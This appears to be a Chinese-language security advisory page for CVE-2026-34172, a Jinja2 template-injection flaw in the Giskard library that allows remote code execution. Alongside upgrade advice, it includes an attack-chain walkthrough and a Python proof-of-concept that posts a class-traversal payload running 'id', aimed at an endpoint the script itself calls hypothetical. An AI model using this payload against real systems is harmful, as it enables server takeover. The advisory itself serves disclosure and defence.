IPBUF安全漏洞报告
English
CVE-2026-34172 CVSS 8.8 高危

CVE-2026-34172 Giskard远程代码执行漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34172
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Giskard

相关标签

RCESSTIJinja2GiskardPythonCVE-2026-34172

漏洞概述

Giskard是一个用于测试和评估智能体系统的开源Python库。在0.3.4和1.0.2b1版本之前,该库存在严重的远程代码执行漏洞。具体而言,`ChatWorkflow.chat(message)`方法将接收到的字符串参数直接作为Jinja2模板源传递给非沙箱环境。由于方法名称暗示了直接传递用户输入,开发者容易误用,导致攻击者能够通过精心构造的恶意输入,利用Jinja2模板注入和类遍历技术在服务器端执行任意代码,从而完全控制受影响系统。

技术细节

该漏洞的根本原因在于Giskard使用了不安全的模板渲染机制。`ChatWorkflow.chat` 方法接收用户提供的 `message` 参数,并未进行任何清洗或转义,直接将其传递给 Jinja2 的非沙箱环境进行渲染。Jinja2 在非沙箱模式下允许模板代码访问 Python 的全局对象和类属性。攻击者可以构造恶意的 Jinja2 语法 Payload(例如利用 `{{ ''.__class__.__mro__[1].__subclasses__() }}` 遍历类),寻找并加载能够执行系统命令的模块(如 `os` 模块或 `subprocess` 模块)。一旦成功引用这些模块,攻击者即可通过 `popen('cmd').read()` 等方式执行任意操作系统命令。由于该接口设计上极易接收用户输入,且无需额外权限即可触发,因此危害极大。

攻击链分析

STEP 1
侦查
攻击者识别出目标应用使用了Giskard库,并确定了`ChatWorkflow.chat`接口可接收外部输入。
STEP 2
载荷构造
攻击者构造包含Jinja2模板语法的恶意Payload,利用Python对象继承链寻找可用于执行命令的类(如os模块)。
STEP 3
漏洞利用
攻击者将恶意Payload作为`message`参数发送给`ChatWorkflow.chat`方法。
STEP 4
代码执行
服务器端将输入解析为Jinja2模板并渲染,触发恶意代码,在服务器上下文中执行任意系统命令。
STEP 5
后渗透
攻击者利用获取的Shell权限进一步控制服务器,窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34172: Giskard Jinja2 SSTI to RCE # This script demonstrates how a malicious payload can be injected into the vulnerable chat method. import requests def exploit(target_url): # The payload attempts to access the os module via Jinja2 class traversal # and execute the 'id' command. Adjust the subclass index based on the environment. # Common technique: {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['system']('cmd') }} # A generic payload for RCE using Jinja2 payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Hypothetical endpoint structure based on the library usage endpoint = f"{target_url}/chat/workflow" data = { "message": payload } try: response = requests.post(endpoint, json=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8000" exploit(target)

影响范围

Giskard < 0.3.4
Giskard < 1.0.2b1

防御指南

临时缓解措施
建议立即升级Giskard库至修复后的版本(0.3.4或1.0.2b1及以上)。如果暂时无法升级,应严格审查代码,确保不要将未经过滤的用户可控数据传递给`ChatWorkflow.chat`接口,并在应用层面对所有输入进行转义处理,以阻断模板注入攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表